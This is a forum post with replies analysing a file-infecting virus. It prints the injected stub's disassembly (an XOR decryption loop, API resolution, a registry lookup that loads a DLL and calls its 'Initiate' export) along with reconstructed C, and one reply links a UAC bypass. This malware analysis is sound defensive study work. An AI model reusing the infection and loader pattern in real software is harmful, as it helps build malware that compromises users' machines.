首页
社区
课程
招聘
[原创]对某病毒的一次完全逆向分析
发表于: 2013-7-2 05:24 120278

[原创]对某病毒的一次完全逆向分析

2013-7-2 05:24
120278
.lif_:004D5000
.lif_:004D5000                       public start
.lif_:004D5000 start:
.lif_:004D5000                       nop
.lif_:004D5001                       nop
.lif_:004D5002                       push          52FD874Ch
.lif_:004D5007                       pop           ecx
.lif_:004D5008                       push         (offset loc_4D5022+2)
.lif_:004D500D                       pop           edx
.lif_:004D500E                       nop
.lif_:004D500F                       push          598h
.lif_:004D5014                       pop           esi
.lif_:004D5015                       nop
.lif_:004D5016
.lif_:004D5016 loc_4D5016:                                      ; CODE XREF: .lif_:004D5026 j
.lif_:004D5016                       push          dword ptr [edx+esi]
.lif_:004D5019                       xor           [esp], ecx
.lif_:004D501C                       pop           dword ptr [edx+esi]
.lif_:004D501F                       nop
.lif_:004D5020                       nop
.lif_:004D5021                       dec           esi
.lif_:004D5022 
.lif_:004D5022 loc_4D5022:                                      ; DATA XREF: .lif_:004D5008 o
.lif_:004D5022                       sub           esi, 3
.lif_:004D5025                       nop
.lif_:004D5026                       jnz           short loc_4D5016
.lif_:004D5028                       movsb
.lif_:004D5029                       cli
.lif_:004D502A                       cld
push    52FD874Ch
pop      ecx
push   dword ptr [edx+esi]
xor      [esp], ecx
pop    dword ptr [edx+esi]
start:
mov ecx,52FD874Ch
mov edx,4D5024h
mov esi,598h
label:
xor [edx+esi],ecx
sub esi,4
jnz label
004D5028:
movsb
„„
seg000:004D5000    ;org 4D5000h
seg000:004D5000    assume es:nothing, ss:nothing, ds:nothing, fs:nothing,gs:nothing
seg000:004D5000    nop
seg000:004D5001    nop
seg000:004D5002    push   52FD874Ch
seg000:004D5007    pop     ecx
seg000:004D5008    push   (offset loc_4D5022+2)
seg000:004D500D    pop    edx
seg000:004D500E    nop  
seg000:004D500F    push    598h 
seg000:004D5014    pop      esi
seg000:004D5015    nop
seg000:004D5016
seg000:004D5016 loc_4D5016:                                 ; CODE XREF:
seg000:004D5026 j
seg000:004D5016    push    dword ptr [edx+esi]
seg000:004D5019    xor      [esp], ecx
seg000:004D501C    pop     dword ptr [edx+esi]
seg000:004D501F    nop
seg000:004D5020    nop
seg000:004D5021    dec     esi
seg000:004D5022    
seg000:004D5022 loc_4D5022:                                  ; DATA XREF:
seg000:004D5008 o
seg000:004D5022    sub    esi,3
seg000:004D5025    nop
seg000:004D5026    jnz    short loc_4D5016
seg000:004D5028    call    sub_4D51AA
seg000:004D51AA push ebp 
seg000:004D51AB mov ebp, esp 
seg000:004D51AD add esp, 0FFFFFEC0h 
seg000:004D51B3 mov eax, ebp 
;eax指向栈帧基址
seg000:004D51B5 add eax, 4
;eax指向函数返回地址 
seg000:004D51B8 mov edx, ebp
 ;edx指向栈帧基址 
seg000:004D51BA push ebx 
seg000:004D51BB push esi 
seg000:004D51BC push edi 
seg000:004D51BD xor ebx, ebx 
;ebx清零
seg000:004D51BF mov edi, [eax] 
;edi此时为函数返回地址,即004D5028+0x5 
seg000:004D51C1 lea ecx, [ebp+var_38] 
;ecx指向v_38 
seg000:004D51C4 sub edi, 5
;edi 此时为004D5028,之后将以edi为基址寄存器寻址“数据段”。 
seg000:004D51C7 mov eax, [edi+0Ch]
 ; 可见[edi+0Ch]处的值是个dword,我们将004D5028+0x0c处的数据转换为dword,结果为 ; 0x4A2C0
seg000:004D51CA lea esi, [edi+84h] 
;esi指向[edi+84h],edi+84h处是什么呢?去004D5028 + 0x84处看一下,结果发现有K e r n e l 
;等字符。貌似这里esi指向字符串,而且还是系统dll名称。不妨直接把004D50AC处开始 
;的区域转换为字符串看看。不断地使用A键,结果如下: 
;seg000:004D50AC aKernel32_dll db 'Kernel32.dll',0 
;seg000:004D50B9 aGettemppatha db 'GetTempPathA',0 
;seg000:004D50C6 aGettempfilenam db 'GetTempFileNameA',0 ;seg000:004D50D7 aCreatefilea db 'CreateFileA',0 
;seg000:004D50E3 aReadfile db 'ReadFile',0 
;seg000:004D50EC aWritefile db 'WriteFile',0 
;seg000:004D50F6 aSetfilepointer db 'SetFilePointer',0 
;seg000:004D5105 aClosehandle db 'CloseHandle',0 
;seg000:004D5111 aGettickcount db 'GetTickCount',0 
;seg000:004D511E aGetmodulefilen db 'GetModuleFileNameA',0
;seg000:004D5131 aAdvapi32_dll db 'ADVAPI32.dll',0
 ;seg000:004D513E aRegopenkeyexa db 'RegOpenKeyExA',0 
;seg000:004D514C aRegqueryvaluee db 'RegQueryValueExA',0 ;seg000:004D515D aRegclosekey db 'RegCloseKey',0 
;seg000:004D5169 aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0 
;seg000:004D519C aPinf db 'PINF',0 ;seg000:004D51A1 aInitiate db 'Initiate',0 
;可见,esi现在可能指向字符串“Kernel32.dll”,也可能被用于字符串表基址。具体是什么,
;继续向下看。现在我们可以确定的是:edi+0x84(004D50AC)至edi+0x182(004D51AA)之 
;间的内容为字符串表 seg000:004D51D0 add eax, [edi+8] 
;edi + 0x8 是004D5030,[edi+8]处也是个dword,值为0x400000,而原eax的值上边已经分析出 
;来了是0x4A2C0。而 0x400000最有可能的是exe模块的加载基址,而相应的,把基址加 
;到eax上,显然这里的eax应该是个RVA了。具体这个RVA值是什么含义呢?猜测可能是 
;入口点什么的。用调试器载入未被感染的样本chrome.exe,结果入口点是:0x44A2C0。可见,
;这个RVA值确实是原程序入口点的RVA。现在已经基本确定数据段中两个字段的含义: 
;edi + 8: OEP的RVA 
;edi + 0Ch:原程序加载基址(module base )
;此条指令完成后,eax 为OEP (原始入口点) 
seg000:004D51D3 add edx, 4 
;edx指向函数返回地址 
seg000:004D51D6 mov [edx], eax 
;修改函数返回地址为eax,而这里的eax正是OEP。也就是说,本函数返回后,程序将跳转 
;至OEP执行,加载原始程序。
seg000:004D51D8 push esi 
;esi为字符串表/某特定字符串 基址 
;参数2压栈
seg000:004D51D9 push edi 
;edi 为数据段基址 
;参数1压栈 
seg000:004D51DA push ecx 
;ecx为栈区变量v_38的地址,这里可能用作缓冲区基址,也可能指向具体变量 
;参数0压栈 
seg000:004D51DB call sub_4D524A
seg000:004D524A sub_4D524A proc near ; CODE XREF: 
sub_4D51AA+31p 
seg000:004D524A 
seg000:004D524A arg_0 = dword ptr 8 
;arg_0: 缓冲区基址,也可能指向具体变量 
seg000:004D524A arg_4 = dword ptr 0Ch 
;arg_4: 数据段基址 
seg000:004D524A arg_8 = dword ptr 10h 
;arg_8: 字符串表/某特定字符串 基址
seg000:004D524A 
seg000:004D524A push ebp 
seg000:004D524B mov ebp, esp 
seg000:004D524D push ebx 
seg000:004D524E push esi 
seg000:004D524F push edi 
seg000:004D5250 mov eax, [ebp+arg_4] 
;eax = arg_4 
seg000:004D5253 mov ebx, [ebp+arg_0] 
;ebx = arg_0 
seg000:004D5256 mov edi, [ebp+arg_8] 
;edi = arg_8 
seg000:004D5259 mov edx, [eax+20h] 
seg000:004D525C mov ecx, [edx] 
seg000:004D525E mov [ebx], ecx 
;[ebx] =[ [eax+20h]] 
seg000:004D5260 mov eax, [ebp+arg_4] 
;eax = arg_4 
seg000:004D5263 mov edx, [eax+20h] 
seg000:004D5266 add edx, 4 
seg000:004D5269 mov ecx, [edx] 
seg000:004D526B mov [ebx+4], ecx 
;[ebx+4] =[ [eax+20h]+4]
;由于出现了ebx + 4的字样,可见,arg_0是被当作缓冲区基址来使用的。现在可以确定arg_0 
;为缓冲区基址,而不是某特定变量地址。
 ;类似地,[eax+20h]极可能是一个缓冲区地址,而eax为arg_4,数据段基址。
seg000:004D526E push edi 
;edi为arg_8,字符串表/字符串 基址 
;参数0压栈 
seg000:004D526F call dword ptr [ebx] 
;这个call不知道调用的是什么,须用调试器了。结果证明是调用得LoadLibraryA,参数 
;为”Kernel32.dll”。同时,也可以确定 [arg_4 + 20h] + 0 的地方保存的是LoadLibraryA 的地址, 
;arg_0 + 0 的地方保存LoadLibraryA地址。 
seg000:004D5271 mov esi, eax 
;esi 为kernel32.dll 的基址 
seg000:004D5273 test esi, esi 
seg000:004D5275 jz loc_4D5307 
;如果kernel32.dll加载失败,函数直接返回0 
seg000:004D527B mov eax, [ebp+arg_4] 
seg000:004D527E push dword ptr [eax+24h] 
seg000:004D5281 push esi 
;esi为kernel32.dll模块基址 
seg000:004D5282 call dword ptr [ebx+4] 
; 这里又得用调试器了,发现调用的是GetProcAddress,参数为“GetTempPathW” 
;可见,[arg_4 + 20h] +4 位置保存的是GetProcAddress 的地址 
;arg_0 + 4 的地方保存GetProcAddress的地址
;arg_4 + 24h 处保存指向“GetTempPathW”字符串的指针 
seg000:004D5285 mov edx, [ebp+arg_4] 
seg000:004D5288 mov ecx, [edx+20h] 
seg000:004D528B mov [ecx], eax 
;[[arg_4+20h]+0] = GetProcAddress(“GetTempPathW”) 
;[arg_4 + 20h] +0 的位置原来保存的是LoadLibraryA的地址,现在被替换为GetTempPathW的 
;地址 
seg000:004D528D mov eax, [ebp+arg_4] 
seg000:004D5290 push dword ptr [eax+28h] seg000:004D5293 push esi 
;esi为kernel32.dll的基址 seg000:004D5294 call dword ptr [ebx+4] 
;调用GetProcAddress,参数为kernel32的基址和字符串“GetLastError”,其中“GetLastErr ;or”来自于调试结果。 
seg000:004D5297 mov edx, [ebp+arg_4] 
seg000:004D529A mov ecx, [edx+20h] 
seg000:004D529D add ecx, 4 
seg000:004D52A0 mov [ecx], eax 
;[[arg_4+20h]+4] = GetProcAddress(“GetLastError”) 
;[arg_4 + 20h] +4 的位置原来保存的是GetProcAddress的地址,现在被替换为GetLastErro ;r的地址 
seg000:004D52A2 lea eax, [edi+0Dh]
;edi是arg_8,字符串/字符串表 基址,值为004D50AC。而0Dh正好为字符串“kernel32.dll” 
;(包括结尾的0)的长度。所以这里edi+0dh是在寻址下一个字符串“GetTempPathA”
;可见,edi被当作字符串表基址去处理的。也就是说,arg_8是字符串表基址,而不是用于 
;某个特定字符串的基址。 
seg000:004D52A5 push eax 
;eax指向字符串“GetTempPathA” 
seg000:004D52A6 push esi 
;esi为kernel32.dll的基址 
seg000:004D52A7 call dword ptr [ebx+4] 
;调用GetProcAddress 
seg000:004D52AA mov [ebx+8], eax 
;[arg_0 + 8 ] = GetProcAddress(“GetTempPathA”) 
;arg_0 + 8 的地方保存GetTempPathA的地址 
seg000:004D52AD lea edx, [edi+1Ah] 
seg000:004D52B0 push edx 
seg000:004D52B1 push esi 
seg000:004D52B2 call dword ptr [ebx+4] 
seg000:004D52B5 mov [ebx+0Ch], eax 
;arg_0 + 0ch 的地方保存GetTempFileNameA的地址 
seg000:004D52B8 lea ecx, [edi+2Bh] 
seg000:004D52BB push ecx 
seg000:004D52BC push esi 
seg000:004D52BD call dword ptr [ebx+4] 
seg000:004D52C0 mov [ebx+10h], eax 
;arg_0 + 10h 的地方保存CreateFileA的地址 
seg000:004D52C3 lea eax, [edi+37h] 
seg000:004D52C6 push eax 
seg000:004D52C7 push esi 
seg000:004D52C8 call dword ptr [ebx+4] 
seg000:004D52CB mov [ebx+14h], eax 
;arg_0 + 14h 的地方保存ReadFile的地址
seg000:004D52CE lea edx, [edi+40h] 
seg000:004D52D1 push edx 
seg000:004D52D2 push esi 
seg000:004D52D3 call dword ptr [ebx+4] 
seg000:004D52D6 mov [ebx+18h], eax 
;arg_0 + 18h 的地方保存WriteFile的地址 
seg000:004D52D9 lea ecx, [edi+4Ah] 
seg000:004D52DC push ecx 
seg000:004D52DD push esi 
seg000:004D52DE call dword ptr [ebx+4] 
seg000:004D52E1 mov [ebx+1Ch], eax 
;arg_0 + 1ch 的地方保存SetFilePointer的地址 
seg000:004D52E4 lea eax, [edi+59h] 
seg000:004D52E7 push eax 
seg000:004D52E8 push esi
seg000:004D52E9 call dword ptr [ebx+4] 
seg000:004D52EC mov [ebx+20h], eax 
;arg_0 + 20h 的地方保存CloseHandle的地址 
seg000:004D52EF lea edx, [edi+65h] 
seg000:004D52F2 push edx 
seg000:004D52F3 push esi 
seg000:004D52F4 call dword ptr [ebx+4] 
seg000:004D52F7 mov [ebx+24h], eax 
;arg_0 + 24h 的地方保存GetTickCount的地址 
seg000:004D52FA lea ecx, [edi+72h] 
seg000:004D52FD push ecx 
seg000:004D52FE push esi 
seg000:004D52FF call dword ptr [ebx+4] 
seg000:004D5302 mov [ebx+28h], eax 
;arg_0 + 28h 的地方保存GetModuleFileNameA的地址 
seg000:004D5305 jmp short loc_4D530B 
;去4D530B继续 
seg000:004D5307 ; --------------------------------------------------------------------------- seg000:004D5307 
seg000:004D5307 loc_4D5307: ; CODE XREF: 
sub_4D524A+2Bj 
seg000:004D5307 xor eax, eax 
seg000:004D5309 jmp short loc_4D534C s
eg000:004D530B ; ---------------------------------------------------------------------------
seg000:004D530B 
seg000:004D530B loc_4D530B: ; CODE XREF: 
sub_4D524A+BBj 
seg000:004D530B lea edx, [edi+85h] seg000:004D5311 push edx seg000:004D5312 call dword ptr [ebx] 
seg000:004D5314 mov esi, eax 
;esi = LoadLibraryA(“ADVAPI32.dll”); 
;esi仍然为模块基址 
seg000:004D5316 test esi, esi 
seg000:004D5318 jz short loc_4D5346 
;模块加载失败,函数直接返回0 
seg000:004D531A lea eax, [edi+92h] 
seg000:004D5320 push eax 
seg000:004D5321 push esi 
seg000:004D5322 call dword ptr [ebx+4] 
seg000:004D5325 mov [ebx+2Ch], eax 
;arg_0 + 2ch 的地方保存RegOpenKeyExA的地址 
seg000:004D5328 lea edx, [edi+0A0h] 
seg000:004D532E push edx
seg000:004D532F push esi 
seg000:004D5330 call dword ptr [ebx+4] 
seg000:004D5333 mov [ebx+30h], eax 
;arg_0 + 30h 的地方保存RegQueryValueExA的地址 
seg000:004D5336 add edi, 0B1h 
;直接调整edi指向字符串“RegCloseKey” 
seg000:004D533C push edi 
seg000:004D533D push esi seg000:004D533E call dword ptr [ebx+4] seg000:004D5341 mov [ebx+34h], eax 
;arg_0 + 34h 的地方保存RegCloseKey的地址 
seg000:004D5344 jmp short loc_4D534A 
;处理成功完成,函数返回1。 
seg000:004D5346 ; --------------------------------------------------------------------------- seg000:004D5346 
seg000:004D5346 loc_4D5346: ; CODE XREF: 
sub_4D524A+CEj 
seg000:004D5346 xor eax, eax 
seg000:004D5348 jmp short loc_4D534C 
seg000:004D534A ; --------------------------------------------------------------------------- seg000:004D534A 
seg000:004D534A loc_4D534A: ; CODE XREF: 
sub_4D524A+FAj 
seg000:004D534A mov al, 1 
seg000:004D534C 
seg000:004D534C loc_4D534C: ; CODE XREF: 
sub_4D524A+BFj 
seg000:004D534C ; sub_4D524A+FEj
seg000:004D534C pop edi 
seg000:004D534D pop esi 
seg000:004D534E pop ebx 
seg000:004D534F pop ebp 
seg000:004D5350 retn 0Ch 
seg000:004D5350 sub_4D524A endp
seg000:004D51E0 test al, al 
seg000:004D51E2 jz short loc_4D5242 
;如果sub_4D524A 的返回值为 0(失败),则退出病毒体,控制传递给OEP
seg000:004D51E4 push esi 
;esi为字符串表指针 ;参数2压栈 
seg000:004D51E5 lea eax, [ebp+var_38] 
seg000:004D51E8 push eax 
;eax 为函数地址表指针 
;参数1压栈 
seg000:004D51E9 lea edx, [ebp+var_140] 
seg000:004D51EF push edx 
;edx 指向v_140,由于v_140还未被初始化,猜测v_140应该是一个接收数据的变量或者 
;或者缓冲区,这要等到sub_4D5356的函数体分析完成后才能确定 
;参数0压栈 
seg000:004D51F0 call sub_4D5356
seg000:004D5356 var_8 = dword ptr -8 
seg000:004D5356 var_4 = dword ptr -4 
seg000:004D5356 arg_0 = dword ptr 8
;arg_0 : 指向某变量/缓冲区的指针 
seg000:004D5356 arg_4 = dword ptr 0Ch 
;arg_4:函数地址表指针
seg000:004D5356 arg_8 = dword ptr 10h 
;arg_8:字符串表指针 
seg000:004D5356 
seg000:004D5356 push ebp 
seg000:004D5357 mov ebp, esp 
seg000:004D5359 add esp, 0FFFFFFF8h 
seg000:004D535C lea eax, [ebp+var_4] 
;eax指向v_4 
seg000:004D535F push ebx 
seg000:004D5360 push esi 
seg000:004D5361 push edi 
seg000:004D5362 xor ebx, ebx 
;ebx清零 
seg000:004D5364 mov edi, [ebp+arg_8] 
;edi :字符串表指针 
seg000:004D5367 mov esi, [ebp+arg_4] 
;esi:函数地址表指针 
seg000:004D536A mov [ebp+var_8], 106h 
;v_8 = 0x106 
seg000:004D5371 push eax 
;eax为指向v_4的指针 
;参数4压栈 
seg000:004D5372 push 20019h 
;参数3 ( 0x20019)压栈 
seg000:004D5377 lea edx, [edi+0BDh] 
;edx = edi + 0xbd,查字符串表可以确定此时的edx指向字符串 ; “Software\Microsoft\Windows\CurrentVersion\Explorer” 
seg000:004D537D push 0 
;参数2 ( 0 )压栈
seg000:004D537F push edx 
;参数1(字符串指针)压栈 
seg000:004D5380 push 80000001h 
;参数0( 0x80000001h )压栈 
seg000:004D5385 call dword ptr [esi+2Ch] 
;查函数地表,esi + 2ch 保存的是RegOpenKeyExA的入口地址( 2ch 对应序数11) 
;调用RegOpenKeyExA( 0x80000001,”……explorer”,0,0x20019,,&v_4) 
;查询MSDN以及SDK中的头文件确定此函数调用中出现的常数的含义 
;0x80000001 : HKEY_CURRENT_USER 
; 0 :options 
; 0x20019 : 打开权限相关的常数。KEY_READ (0x20019) 
;此处的函数调用要打开注册表键
;HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer 
;句柄保存在变量v_4中 
seg000:004D5388 test eax, eax 
seg000:004D538A jnz short loc_4D53B2 
;如果注册表打开失败,则直接返回0 
seg000:004D538C lea ecx, [ebp+var_8] 
;ecx指向变量v_8,v_8已经被初始化为0x106 seg000:004D538F add edi, 0F0h 
;edi开始为字符串表指针,加上0xf0以后,指向字符串“PINF” seg000:004D5395 push ecx 
;参数5(v_8的指针)压栈 
seg000:004D5396 push [ebp+arg_0] 
;arg_0: 指向某变量/缓冲区的指针 
;参数4压栈 seg000:004D5399 push 0 
;参数3压栈 seg000:004D539B push 0 
;参数2压栈 seg000:004D539D push edi 
;参数1(字符串“PINF”的指针)压栈 
seg000:004D539E push [ebp+var_4] 
;v_4 :注册表键句柄 
;参数0压栈 
seg000:004D53A1 call dword ptr [esi+30h] 
;查函数地表,esi + 30h 保存的是RegQueryValueKeyEx的入口地址( 30h 对应序数12) 
;查MSDN以及SDK头文件,确定各个参数的含义 ;参数0:注册表鍵句柄 
;参数1:表示键值名称的字符串指针 
;参数2:未用,设为0 
;参数3:指向双字的变量,用于接收键值类型,可以为NULL,这里0表示NULL 
;参数4:指向输出缓冲区的指针 
;参数5:指向双字变量(v_8),该变量指出输出缓冲区的大小,函数返回时,值被修改成实 
;际复制到输出缓冲区的数据大小。V_8 初始值为0x106,可见arg_0是指向一个大小为0x106 
;字节的缓冲区,这里还无法确定“PINF”的值是什么类型,该类型的确定需要看后期怎么 
;使用arg_0指向的缓冲区了。
seg000:004D53A4 test eax, eax 
seg000:004D53A6 setz bl 
seg000:004D53A9 and ebx, 1 
;RegQueryValueKeyEx成功返回,设置ebx为1,否则为0 
seg000:004D53AC push [ebp+var_4]
;参数0(注册表键句柄)压栈 
seg000:004D53AF call dword ptr [esi+34h] 
;查函数地表,esi + 34h 保存的是RegCloseKey的入口地址( 34h 对应序数13) seg000:004D53B2
seg000:004D53B2 loc_4D53B2: ; CODE XREF: 
sub_4D5356+34j 
seg000:004D53B2 mov eax, ebx 
;return ebx 
seg000:004D53B4 pop edi 
seg000:004D53B5 pop esi 
seg000:004D53B6 pop ebx 
seg000:004D53B7 pop ecx 
seg000:004D53B8 pop ecx 
seg000:004D53B9 pop ebp 
seg000:004D53BA retn 0Ch 
seg000:004D53BA sub_4D5356 endp
DWORD  CheckReg( OUT LPBYTE buffer )
{
HANDLE hKey;
DWORD Result ,cbBufSize = 0x106;


Result = RegOpenKeyExA( HKEY_CURRENT_USER,”
Software\Microsoft\Windows\CurrentVersion\Explorer”,0,KEY_READ,&hKey );
If( Result )return 0;


Result =! RegQueryValueKeyEx( hKey,”PINF”,0,NULL,buffer,&cbBufSize );
RegCloseKey( hKey );
return Result;
}
seg000:004D51F5 test al, al 
seg000:004D51F7 jz short loc_4D5217 
;如果sub_4D5356A 的返回值为 0,则控制传递给 4D5217 
seg000:004D51F9 cmp [ebp+var_140], 7 
seg000:004D5201 jb short loc_4D5217 
;查看一下IDA对v_140的类型描述,为word型。可见,v_140占用了大小为0x106字节的 
;缓冲区前两个字节。而且被用作一个无符号数。结合以上的分析,该0x106字节的缓冲区 
;所代表的数据类型很可能是REG_BINARY 
;如果 v_140小于7,则同样跳转到4D5217。这里的7代表什么含义呢?到函数4D51AA分 
;析完成的时候再对此进行说明。
seg000:004D5203 push esi 
;esi: 字符串表基址 ;参数3压栈 
seg000:004D5204 push edi 
;edi:数据段基址 ;参数2压栈 
seg000:004D5205 lea ecx, [ebp+var_38] 
seg000:004D5208 push ecx 
;ecx:函数地址表基址 ;参数1压栈 
seg000:004D5209 lea eax, [ebp+var_13E] 
seg000:004D520F push eax 
;eax:指向v_13E 注意,&v_13e = &v_140 + sizeof(WORD),可见v_13e属于上边已经被初始化 
;的大小为0x106的缓冲区。这里指针eax很可能被用作输入参数而不是输出参数。 
;参数0(缓冲区指针&v_140+2)压栈。 
seg000:004D5210 call sub_4D53BE
seg000:004D53BE sub_4D53BE proc near ; CODE XREF: 
sub_4D51AA+66p 
seg000:004D53BE ; sub_4D51AA+93p 
seg000:004D53BE 
seg000:004D53BE arg_0 = dword ptr 8 
;arg_0:缓冲区基址(指向的缓冲区极可能用于输入) 
seg000:004D53BE arg_4 = dword ptr 0Ch 
;arg_4:函数地址表基址 
seg000:004D53BE arg_8 = dword ptr 10h 
;arg_8:数据段基址 
seg000:004D53BE arg_C = dword ptr 14h 
;arg_C:字符串表基址 
seg000:004D53BE 
seg000:004D53BE push ebp 
seg000:004D53BF mov ebp, esp 
seg000:004D53C1 push ebx 
seg000:004D53C2 mov ebx, [ebp+arg_4] 
;ebx:函数地址表基址(指针) 
seg000:004D53C5 push [ebp+arg_0] 
;arg_0 缓冲区基址,这里可以看出指向的缓冲区明显是用于输入的(已经被初始化)
;参数0压栈 seg000:004D53C8 call dword ptr [ebx] 
;查询函数地址表,确认这里调用的是0号函数,LoadLibraryA,因此也可以知道,刚压入的 
;参数arg_0指向某表示(dll)模块路径的字符串 
seg000:004D53CA test eax, eax 
seg000:004D53CC jz short loc_4D53ED
;模块加载失败,则直接返回0 
seg000:004D53CE mov edx, [ebp+arg_C] 
seg000:004D53D1 add edx, 0F5h 
seg000:004D53D7 push edx 
;查询字符串表,可知edx指向字符串“Initiate” 
seg000:004D53D8 push eax 
;eax: 刚加载模块的基址 
seg000:004D53D9 call dword ptr [ebx+4] 
;查询函数地址表,得知此处调用的是1号函数 GetProcAddress, 
;明显这里要取得刚加载模块中导出函数 Initiate 的地址 
seg000:004D53DC test eax, eax 
seg000:004D53DE jz short loc_4D53ED 
;如果获取Initiate函数地址失败,直接返回0 
seg000:004D53E0 push [ebp+arg_8] 
;参数0(数据段基址arg_8)压栈 
seg000:004D53E3 call eax 
;调用Initiate 函数,这里可知Initiate函数有一个参数,即指向数据段的指针
seg000:004D53E5 test al, al 
seg000:004D53E7 jz short loc_4D53ED 
seg000:004D53E9 mov al, 1 
;如果Initiate函数返回0,则返回0,否则返回1 
seg000:004D53EB jmp short loc_4D53EF 
seg000:004D53ED ; --------------------------------------------------------------------------- seg000:004D53ED 
seg000:004D53ED loc_4D53ED: ; CODE XREF: 
sub_4D53BE+Ej seg000:004D53ED  ; sub_4D53BE+20j ... 
seg000:004D53ED xor eax, eax 
seg000:004D53EF 
seg000:004D53EF loc_4D53EF: ; CODE XREF: 
sub_4D53BE+2Dj seg000:004D53EF pop ebx 
seg000:004D53F0 pop ebp 
seg000:004D53F1 retn 10h 
seg000:004D53F1 sub_4D53BE endp
DWORD  CheckAndCallInitiate ( IN LPBYTE ModuleName ,IN LPVOID DataBase)
{
HMODULE hMod = LoadLibraryA( ModuleName );
PVOID func_Initiate = NULL;
If( !hMod )return 0;
func_Initate = GetProcAddress( hMod,”Initiate”);
If( !func_Initiate )return 0;
 
If(*((DWORD (*)(PVOID))func_Initiate)( DataBase ))

return 1;
return 0;
}
;在函数sub_4D53BE分析完成后,我们可以确定v_140所在的大小为0x106的缓冲区(由注 
;册表初始化)的含义,即:前两个字节是一个WORD ,后面是一个指出模块名称的字符串。
seg000:004D5215 mov ebx, eax 
seg000:004D5217 
seg000:004D5217 loc_4D5217: ; CODE XREF: 
sub_4D51AA+4Dj 
seg000:004D5217 ; sub_4D51AA+57j 
seg000:004D5217 test bl, bl 
seg000:004D5219 jnz short loc_4D5242 
;如果函数CheckAndCallInitiate返回1,则控制传递给OEP执行原始程序。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (96)
雪    币: 967
活跃值: (1138)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
我只看了后门部分,有几点疑问
你只分析出本地监听,(如果你是内网我根本就无法控制)我想问的是:
1.木马是怎么更新的?或者执行服务器端得命令的
2.木马作者怎么知道你种马了?
你想一下,如果我是木马作者,辛辛苦苦写个马,到头来我还不知道
那有意义不?写得玩的?
2013-7-2 07:14
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
先标记下,有时间再看
2013-7-2 08:57
0
雪    币: 599
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
支持一下。
2013-7-2 09:18
0
雪    币: 297
活跃值: (265)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
5
楼主没有任何杀软,过UAC是很容易的
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
2013-7-2 09:23
0
雪    币: 1121
活跃值: (732)
能力值: ( LV5,RANK:66 )
在线值:
发帖
回帖
粉丝
6
居然拿数字清除感染型,可见楼主也仅仅是刚脱离小白啊。万一仅仅是检测出来,而没有清除记录,你的一切都没了
2013-7-2 09:26
0
雪    币: 1839
活跃值: (295)
能力值: ( LV9,RANK:370 )
在线值:
发帖
回帖
粉丝
7
mark,得空看一下
2013-7-2 09:50
0
雪    币: 219
活跃值: (783)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
8
mark  mark
2013-7-2 10:05
0
雪    币: 167
活跃值: (68)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
mark , 感谢分享
2013-7-2 10:32
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
先mark
2013-7-2 10:47
0
雪    币: 11110
活跃值: (17638)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
防护软件不能不安装,中了病毒,安装系统和软件好麻烦
2013-7-2 11:26
0
雪    币: 53
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
2013-07-02, 05:24:21
2013-7-2 11:35
0
雪    币: 168
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
马克思列宁主义,网络上别有用心的很多……
2013-7-2 12:12
0
雪    币: 154
活跃值: (91)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
14
mark。网上的软件都先在别人电脑运行
2013-7-2 12:24
0
雪    币: 57
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
mark,等有能力看的时候再看吧   加油   啧啧,奋斗。
2013-7-2 12:44
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
vstart在win7下就是会触发uac,但并没有admin权限。
2013-7-2 13:20
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
虽然新手表示还看不懂,但是我相信总有一天会有这个能力的
2013-7-2 13:41
0
雪    币: 206
活跃值: (117)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
谢谢了..学习了下!!!
2013-7-2 15:39
0
雪    币: 118
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
中了Parite拉
2013-7-2 17:33
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
20
1 这个木马应该被动更新(通过分析感染部分可以看出),“服务端”不是固定的。它的更新源貌似是来自网络下载文件时遇到的忽悠用户的恶意链接。其实被感染的机器应该是“服务端”。
2 向指定的子网网段发UDP广播包可以判断中马情况,像特定的Web或者其他服务器发UDP包可以判断其是否已经被感染。

调试过程中没有发现主动连接外部的包,文档里我也提到心跳包的情况,但我没分析出来。感觉这个马一旦通过内网传播到Web服务器上才能发挥其价值。

如果您有新发现,可以教育我下,因为真是经验不足……诚心求指导。
2013-7-2 18:18
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
21
和UAC提示级别设置有关吧。我的都出安全桌面的,选择是自然就有管理员权限了。
2013-7-2 18:41
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
22
老鸟给点建议吧,怎么处理感染型?能找到专杀的成功率有多少呢?
2013-7-2 18:43
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
23
老鸟能分享下“非小白”的经验不?
2013-7-2 18:46
0
雪    币: 102
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
分析这些已经不容易了,支持一下
2013-7-2 19:25
0
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
